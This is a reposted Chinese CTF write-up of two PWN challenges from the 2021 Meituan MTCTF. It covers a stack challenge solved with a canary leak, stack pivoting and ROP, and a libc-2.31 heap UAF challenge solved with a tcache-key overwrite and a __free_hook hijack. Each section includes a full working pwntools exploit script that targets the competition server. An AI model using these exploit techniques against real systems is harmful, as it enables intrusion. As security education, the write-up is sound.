2021 美團MTCTF WriteUp (PWN)


前言

比賽的時候做了兩個PWN,由於隊里沒有逆向手,所以又切了道逆向,隊友們做了兩個密碼,一個雜項。
總共241個得分隊伍,最終排第36名,離進決賽還是有挺大距離的。
這里,把我做的兩道PWN題總結一下。

babyrop(54解)

一個棧題,考察了挺多東西,主要是變相地考察了棧遷移
首先,有個單字節溢出,利用其覆蓋canary末尾的\x00,使得數據無法截斷,之后printf即可將canary泄露出。
接着,動態調試一下,就很容易知道password對應的數是4196782(其實為字符串的地址)。
最后,read看似只能讀一次,不過觀察到其溢出了0x10,而read起始寫入的地址是由rbp控制的,因此可以通過覆寫棧上rbp處為我們想要寫入的地址,之后leave中有pop rbp,因此可以控制rbp,並且覆寫retcall read前一點的地址,即可做到再次讀入,並且讀入到任意地址。
不過每次讀入的內容去掉canary只有0x18的長度,對於布置rop鏈肯定是不夠的,因此可以仿照上述的思路,進行多次分段讀入,最后再進行一次標准的棧遷移即可(其中需要注意的是read()的返回地址,壓進去的返回地址可能會被我們修改)。
最終getshell的時候,最簡單的方式就是一次棧溢出,利用one_gadget即可。
不過,隊里另外一個pwn手問我為什么他用system("/bin/sh")就不行,我試了一下,是可行的,我想他大概是由於bss_addr沒有抬高或者抬高得不夠所以打不通,因為這里調用system是需要訪問到bss_addr之前空間的,如果是碰到了不可讀(寫)段或者是申請的臨時空間覆蓋了之前的有用數據,就有可能會出問題。
當然,如果控制rbp后,跳轉到printf()前面一點,可以直接泄露出libc,相對於以上的思路,稍微簡單一些。

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 38183)
#io=process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")

bss_addr = 0x601500
pop_rdi_ret = 0x400913
leave_ret = 0x400759
vuln = 0x400717
read = 0x40071F
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

io.recvuntil("name? \n")
io.send(b'a'*20 + b'bitch')
io.recvuntil("bitch")
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary:\t' + hex(canary))

io.recvuntil("challenge\n")
io.sendline(b'4196782')

payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x20) + p64(read)
io.sendafter("message\n", payload)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(canary) + p64(bss_addr+0x18+0x20) + p64(read)
io.send(payload)
payload = p64(vuln) + p64(0) + p64(leave_ret)
payload += p64(0) + p64(bss_addr-8) + p64(leave_ret)
io.send(payload)

libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
one_gadget = libc_base + 0x4f432
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(one_gadget)
io.send(payload)
'''
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x10) + p64(read)
io.send(payload)
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload += p64(canary) + p64(bss_addr-0x18) + p64(leave_ret)
io.send(payload)
'''
io.interactive()

bookshop(29解)

一個堆題,首先讓你讀入申請的堆塊大小(0x1F~0x666),之后每次申請堆塊,都只能申請這么大,並且堆塊個數也有限制,不過限制比較寬泛。
漏洞點也很明顯,一個UAF漏洞,而且寫入內容時read后並沒有添加\x00,可能造成信息的泄露(不過此題沒用到)。
首先,每次都只能申請一樣大的堆塊,那么如果要改變堆塊大小,就只能通過空閑堆塊合並了。
UAF漏洞可以讓我們很方便地泄露出libc的基地址(show放入unsorted bin的堆塊),UAF漏洞的攻擊方式最常見的就是double free,不過此處貌似不太好實現,主要矛盾在於libc-2.31下,對tcachedouble free進行了檢測,在每個tcache binbk處放入了key,標識了其所屬的tcache。若是用fastbin double free再配合fastbin reverse into tcache好像可行,不過就不好將chunk放入unsorted bin以泄露libc了(fastbin之間也不會合並)。
所以,想辦法將key改變就可以對tcache進行double free了。
scanf讀入大量數據,緩沖區不夠存放的時候,會分配一個堆塊存放這些數據,比如讀入0x666個字節,就會分配0x810大小的堆塊,並在讀入完成后,將申請的堆塊free掉。
可以通過填滿tcache后,連續free將很多個小堆塊合並為一個大堆塊,而其中單獨的每個小堆塊由於UAF漏洞,都可以單獨地free,若此時tcache沒滿,它們每個free后都會進入tcache,並且不會對next chunkprev_inuse位進行檢測。
結合以上,可以每次申請0x200大小的堆塊,5個這樣的堆塊合並成0xa00大小的堆塊放在unsorted bin,並把0xa00中最后一個0x200的堆塊C單獨釋放到tcache中,這時候再通過scanf讀入大量數據,申請了0x810大小的堆塊,就會將0xa00大小的堆塊分割,並寫入新sizeCkey位置處,實現了覆寫更改,之后就很容易利用tcache double free修改__free_hooksystem進行getshell
此外,還有一種思路:當scanf讀入大量數據,申請了large bin后,會觸發malloc_consolidate,從而造成fastbin合並后進入unsorted bin,就可以泄露libc了,然后用fastbin double free再配合fastbin reverse into tcache即可。

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 29251)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def add(content):
	io.sendlineafter(">> ", b'1')
	io.sendafter("> ", content)

def delete(index):
	io.sendlineafter(">> ", b'2')
	io.sendlineafter("bag?\n", str(index))

def show(index):
	io.sendlineafter(">> ", b'3')
	io.sendlineafter("read?\n", str(index))
	io.recvuntil(": ")

def lucky(size):
	io.recvuntil("number?\n")
	io.sendline(str(size))

lucky(0x1f0)

for i in range(13): #0~12
	add(b'\n')
for i in range(12):
	delete(i)

show(7)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base:\t" + hex(libc.address))

add(b'\n') #13
add(b'\n') #14
delete(11)

io.sendlineafter(">> ", b'8'*0x666)
delete(11)

add(p64(libc.sym['__free_hook'] - 8)) #15
add(b'\n') #16
add(b'/bin/sh\x00' + p64(libc.sym['system'])) #17
delete(17)
io.interactive()

Blindbox(8解)

感覺很復雜,其實就是我太菜了,坐等大師傅們的wp......


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM